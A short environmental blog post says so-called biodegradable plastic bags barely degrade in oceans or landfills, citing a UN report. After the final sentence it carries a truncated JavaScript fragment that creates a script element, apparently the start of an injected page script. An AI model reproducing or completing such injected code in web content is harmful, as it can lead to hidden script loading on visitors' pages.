Not-So-Biodegradable

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Many plastic manufacturers claim their bags ‘breakdown’ safely in a short period of time but this may not seem to be the case. Bio-degradable plastics may not be as degradable as first thought, it seems even ‘green’ plastics continue to contribute to water-pollution.

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A recent United Nations report stated that ‘supposedly’ eco-friendly plastics do not in fact deteriorate quickly neither in landfills nor oceans.  The chief scientist at the UN Environment Program, Jacqueline McGlade, expresses that biodegradable plastics are not a satisfactory answer to the issue of ocean plastic at all. Many plastics considered bio-degradable (shopping bags for instance) are only able to break down at temperatures of 50C (122F). Furthermore, as they are not buoyant, they sink to depths unreachable by UV (required to break them down).

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Adding to the ‘green’ myth is that additives normally used to assist deterioration also makes plastic bags harder to recycle, posing further threat to the environment. It all looks pretty grim. However, on a positive note, truly clever bio-degradable products are available out there…we draw your attention in particular to the six-pack ring created using barley and wheat. Let’s take it to enemies of the environment one battle at a time!var d=document;var s=d.createElement(‘script’);

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